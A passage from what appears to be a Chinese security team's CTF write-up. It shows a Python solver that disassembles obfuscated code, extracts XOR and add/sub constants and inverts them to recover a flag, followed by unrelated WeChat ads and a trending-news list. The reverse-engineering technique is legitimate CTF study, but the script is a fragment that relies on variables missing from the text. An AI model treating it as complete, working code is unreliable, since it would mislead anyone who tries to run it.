????return?cs.disasm(code,0)
def?find_addr(codes:bytes):
????addrs=[]
????start=0
????while?start<len(codes):
????????st=codes[start:].find(head)
????????if?st==-1:break
????????start+=st
????????end=codes[start:].find(tail)
????????addrs.append((start,start+end))
????????start=start+end+len(tail)
????return?addrs
def?get_xor_data(code):
????for?i?in?disasm(code,p=False):
????????if?i.mnemonic=='xor':
????????????#?print(i)
????????????if?'rax'?not?in?i.op_str:
????????????????#?print(i.op_str)
????????????????return?int(i.op_str.split(',')[-1],base=16)
def?get_op(code):
????dis=disasm(code,False)
????ops=[i.mnemonic?for?i?in?dis]
????#?print(ops)
????if?ops[-3]=='add':
????????return?1
????elif?ops[-3]=='sub':
????????return?2
????else:
????????print(ops)
????????exit()
addrs=find_addr(codes)
add_data=[196,22,142,119,5,185,13,107,36,85,18,53,118,231,251,160,218,52,132,180,200,155,239,180,185,10,87,92,254,197,106,115,73,189,17,214,143,107,10,151,171,78,237,254,151,249,152,101]
xor_data=[get_xor_data(codes[st:en])?for?st,en?in?addrs]
op=[get_op(codes[st:en])?for?st,en?in?addrs]
#?get_op(codes[addrs[0][0]:addrs[0][1]])
f=[0]*len(c)
for?i?in?range(len(c)):
????if?op[i]==1:
????????f[i]=(c[i]^xor_data[i])-add_data[i]+0x100&0xff
????elif?op[i]==2:
????????f[i]=add_data[i]-(c[i]^xor_data[i])+0x100&0xff
????else:
????????print(i,op[i])
????????exit()
print(bytes(f))关注公众号:拾黑(shiheibook)了解更多
[广告]赞助链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/
关注网络尖刀微信公众号随时掌握互联网精彩
赞助链接
排名
热点
搜索指数
- 1 习近平将发表二〇二六年新年贺词 7904141
- 2 2026年国补政策来了 7808738
- 3 东部战区:开火!开火!全部命中! 7712893
- 4 2026年这些民生政策将惠及百姓 7616985
- 5 小学食堂米线过期2.5小时被罚5万 7519709
- 6 解放军喊话驱离台军 原声曝光 7428214
- 7 为博流量直播踩烈士陵墓?绝不姑息 7327605
- 8 每月最高800元!多地发放养老消费券 7238391
- 9 数字人民币升级 1月1日起将计付利息 7141831
- 10 2026年1月1日起 一批新规将施行 7040675







Chamd5安全团队
